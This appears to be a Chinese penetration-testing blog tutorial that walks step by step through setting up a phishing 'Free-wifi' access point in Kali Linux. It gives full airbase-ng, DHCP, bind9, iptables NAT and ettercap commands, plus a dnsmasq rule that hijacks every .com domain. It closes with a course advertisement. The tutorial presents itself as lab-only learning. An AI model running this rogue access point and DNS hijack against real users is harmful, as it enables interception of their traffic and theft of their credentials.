简介
渗透测试-地基篇
该篇章目的是重新牢固地基，加强每日训练操作的笔记，在记录地基笔记中会有很多跳跃性思维的操作和方式方法，望大家能共同加油学到东西。
请注意 ：
本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali
Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，本站及作者概不负责。
名言：
你对这行的兴趣，决定你在这行的成就！
一、前言
今天会讲解到无线攻防自搭建钓鱼Wifi中的：安装部署环境、无线网卡外接开启、开启钓鱼wifi-
Free、添加和配置本地接口并配置、DHCP服务搭建、wireshark抓包检查+本地验证、搭建DNS服务、配置防火墙规则放行等等操作，如果连无线攻防都不会安装甚至渗透操作等，怎么拿下对方服务器？
二、自搭建钓鱼Wifi（方法一）
这里介绍无线攻防实战的另外一种新姿势，就是自己搭建钓鱼wifi针对用户进行的攻击，没有哪一个系统能扛得住社会工程学技术的入侵，主要用kali来搭建模拟环境，如果别的环境需要搭建原理方法一致。
1、安装部署环境
1）更新源+安装钓鱼部署环境包
apt-get update
apt install bind9
apt-get install isc-dhcp-server
成功完成安装！
2、无线网卡外接开启
这里需要连接两个外接无线网卡，除非自身本地是kali系统，外接一个无线网卡即可！插上两张无线网卡后会显示wlan0和wlan1…
1）首先开启无线网卡：
airmon-ng start wlan0
iwconfig
这里wlan0激活后未wlan0mon监听模式：Monitor
wlan1为接收模式：Managed
2）设置静态wlan0地址
vi /etc/network/interfaces
auto wlan1
iface wlan1 inet static
address 192.168.150.222
netmask 255.255.255.0
gateway 192.168.150.1
给wlan1配置完成静态IP地址，需要重启网卡！
3）开启静态接口地址
service networking restart
成功启动静态wlan1网卡！
3、开启钓鱼wifi-Free
开启免费信号，使用wlan0mon开启免费wifi进行钓鱼：
airbase-ng -e "Free-wifi" -c 6 wlan0mon
成功利用wlan0mon开启钓鱼wifi名称为：Free-wifi，外置的wifi信号可以发现我们刚开启的!
4、添加和配置本地接口并配置
现在只是钓鱼信号发送出来了，需要一个静态的地址给到内置的相应模块上面。
1）开启本地接口at0
ifconfig at0 up
ifconfig at0
2）内置无线模块的接口配置IP：at0
vi /etc/network/interfaces
auto at0
iface at0 inet static
address 192.168.1.1
netmask 255.255.255.0
保存即可，网关地址配置完成！
3）刷新网络服务
service networking restart
成功分配地址给at0网卡！
5、DHCP服务搭建
目前钓鱼wifi这边已经有了网关地址，但是客户端还无法获得相关的dhcp类似的地址，需要搭建服务！环境bing9和dhcp已经在前面环境安装部署好了…开始！
1）配置钓鱼wifi子网信息
配置dhcpd.conf文件
cd /etc/dhcp
可以看到存在dhcpd.conf，接下来就配置该文件即可！
vi dhcpd.conf
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.100 192.168.1.150;
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 192.168.150.222;
}
目前完成了子网的配置，192.168.10.10会用来搭建DNS缓存服务器！
2）开启服务监听at0
vi /etc/default/isc-dhcp-server
service isc-dhcp-server start
成功开启！
3）如果遇到错误如何排查！！
报错了，分析下错误！
journalctl -xe
查看保存记录，配置文件配置错误！
重新配置下该处即可！
成功开启！
4）或者查看端口是否开启：
netstat -ntulp |grep 67
DHCP开启的是67端口…
6、wireshark抓包检查+本地验证
开启wireshark监听eth1接口：
可看到握手包流量也已经有了！
手机链接wifi后也可以看到IP、网关、DNS都是对的！
7、kali-搭建DNS服务
https://www.jianshu.com/p/bf3f7011b9fe
目前DNS已经指向我们，我们目前没有DNS服务，需要搭建，首先一定要安装好bind9环境，然后进入目录查看下底层详细信息。
1）了解底层文件
cd /etc/bind
查看主配置文件：
可看到全局文件都将各个配置文件分散开进行配置的！
2）配置DNS全局配置文件
vi named.conf.options
需要配置参数：
vi named.conf.options
forwarders { 8.8.8.8; };
recursion yes;
allow-query { any; };
listen-on { any; };
listen-on port 53 { 192.168.10.10; };
注意空格！这里图片有个错误的，就是{}括号问题！修改即可！
代理到google的DNS服务器，
允许转发的范围any
监听范围any
监听的端口 53
3）重启服务bind9
service named restart
service named status
4）nslookup检测
apt-get install dnsutils
如果无nslookup手动安装即可！
可看到server为：192.168.253.1，为本机默认的DNS的IP，需要更高下即可！
5）更高本机DNS
vi /etc/resolv.conf
将192.168.253.1更改为192.168.10.10即可！
6）重启网络服务
service networking restart
重启后开启防火墙规则！
7）开启防火墙规则
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o wlan1 -j SNAT --to-source 192.168.10.10
到此wifi就能顺利连接进入进行监视钓鱼！
三、Kali自搭建钓鱼（方法二）
1、安装部署环境
更新源+安装钓鱼部署环境包
apt-get update
apt install dnsmasq
apt-get install isc-dhcp-server
2、无线网卡外接开启
1）连接无线网卡
可看到wlan0已经成功接入kali
2）开启wlan0无线网卡
airmon-ng start wlan0
成功开启wlan0无线网卡，名称为:wlan0mon
3、添加虚拟网段网卡
vi /etc/network/interfaces
auto at0
iface at0 inet static
address 192.168.1.1
netmask 255.255.255.0
service networking restart
重新网卡后报错先不管！
4、开启钓鱼wifi
airbase-ng -e Free-wifi -c 11 wlan0mon
先创建个wifi此时wifi是无法连接上去的，因为DHCP和at0未配置!
5、配置DHCP和虚拟网卡
1）开启at0网卡，并重启服务
ifconfig at0 up
service networking restart
2）配置DHCP
vi /etc/dhcp/dhcpd.conf
subnet 192.168.1.0 netmask 255.255.255.0{
range 192.168.1.101 192.168.1.150;
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 192.168.253.150;
}
6、配置虚拟网卡信息
1）开启网段等配置信息
ifconfig at0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
service networking restart
查看开启状态：
service networking status
成功开启！
2）开启服务监听at0
vi /etc/default/isc-dhcp-server
service isc-dhcp-server start
成功开启！
7、配置防火墙规则放行
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j SNAT --to 192.168.253.150
再次检测，此时钓鱼wifi已经可以上网了！
8、DNS劫持
1）配置DNS劫持
vi /etc/dnsmasq.conf
resolv-file=/etc/resolv.conf
strict-order
listen-address=192.168.253.150
address=/.com/192.168.253.150
server=8.8.8.8
server=114.114.114.114
劫持所有.com的域名！
2）将eth0配置为dns
auto eth0
iface eth0 inet static
address 192.168.253.150
netmask 255.255.255.0
gateway 192.168.253.1
3）启用DNSmasq
Dnsmasq 提供 DNS 缓存和 DHCP 服务功能。作为域名解析服务器(DNS)，dnsmasq可以通过缓存 DNS
请求来提高对访问过的网址的连接速度。作为DHCP 服务器，dnsmasq
可以用于为局域网电脑分配内网ip地址和提供路由。DNS和DHCP两个功能可以同时或分别单独实现。dnsmasq轻量且易配置，适用于个人用户或少于50台主机的网络。此外它还自带了一个
PXE 服务器。
service dnsmasq start
ettercap -Tq -i at0
dnsmasq轻量且易配置，适用于个人用户或少于50台主机的网络，按照命令开启即可！
四、总结
今天学到无线攻防自搭建钓鱼Wifi中的：安装部署环境、无线网卡外接开启、开启钓鱼wifi-
Free、添加和配置本地接口并配置、DHCP服务搭建、wireshark抓包检查+本地验证、搭建DNS服务、配置防火墙规则放行等等操作，学到了非常多的小技巧和干货，希望小伙伴能实际操作复现一遍！来巩固告知企业单位的漏洞情况，并尽快进行加固巩固安全！
服务攻防之数据库Mysql（上）-> 服务攻防之数据库Mysql（下）-> 服务攻防之数据库MSSQL（上）-> 服务攻防之数据库MSSQL（中）-> 服务攻防之数据库MSSQL（下）-> 服务攻防之数据库Oracle（上）-> 服务攻防之数据库Oracle（下）-> 服务攻防之数据库Redis（上）-> 服务攻防之数据库Redis（下）-> 服务攻防之数据库Mongodb（上）-> 服务攻防之数据库Mongodb（下）-> 服务攻防之中间件IIS（上）-> 服务攻防之中间件IIS（下）-> 服务攻防之中间件Apache（总）-> 服务攻防之中间件Nginx（总）-> 服务攻防之中间件Tomcat（上）-> 服务攻防之中间件Tomcat（下）-> 服务攻防之中间件JBoss（上）-> 服务攻防之中间件JBoss（中）-> 服务攻防之中间件JBoss（下）-> 服务攻防之中间件Weblogic（上）-> 服务攻防之中间件Weblogic（下）-> 服务攻防之中间件GlassFish（总）-> 服务攻防之中间件WebSphere（总）-> 服务攻防之框架Struts2（上）-> 服务攻防之框架Struts2（下）-> 服务攻防之框架Thinkphp（总）-> 服务攻防之框架Shiro（总）-> 服务攻防之框架Spring（上）-> 服务攻防之框架Spring（下）-> 服务攻防之框架FastJson（上）-> 服务攻防之框架FastJson（下）-> 无线攻防之Wifi破解（上）-> 无线攻防之Wifi破解（下）-> 无线攻防之Kali自搭建钓鱼Wifi（总）......
接下来在《无线攻防之钓鱼无线攻击（上）》会接触到wifiphisher钓鱼中：wifiphisher简介、wifiphisher钓鱼详解、多功能钓鱼页面详解、自定义钓鱼、另类钓鱼用法，以及wifiphisher分析底层文件中判断屏幕大小、判断浏览器类型、判断系统内容、加载Mac代码、加载windows代码、加载的安卓和ios代码等渗透操作，如何提权渗透等方法，请看下篇无线攻防之钓鱼无线攻击（上）篇章！
希望大家提高安全意识，没有网络安全就没有国家安全！
今天基础牢固就到这里，虽然基础，但是必须牢记于心。
最后
分享一个快速学习【网络安全】的方法，「也许是」最全面的学习方法：
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）
2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）
4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k。
到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？
想要入坑黑客&网络安全的朋友，给大家准备了一份：282G全网最全的网络安全资料包免费领取！
扫下方二维码，免费领取
有了这些基础，如果你要深入学习，可以参考下方这个超详细学习路线图，按照这个路线学习，完全够支撑你成为一名优秀的中高级网络安全工程师：
高清学习路线图或XMIND文件（点击下载原文件）
还有一些学习中收集的视频、文档资源，有需要的可以自取：
每个成长路线对应板块的配套视频：
当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。
因篇幅有限，仅展示部分资料，需要的可以【扫下方二维码免费领取】
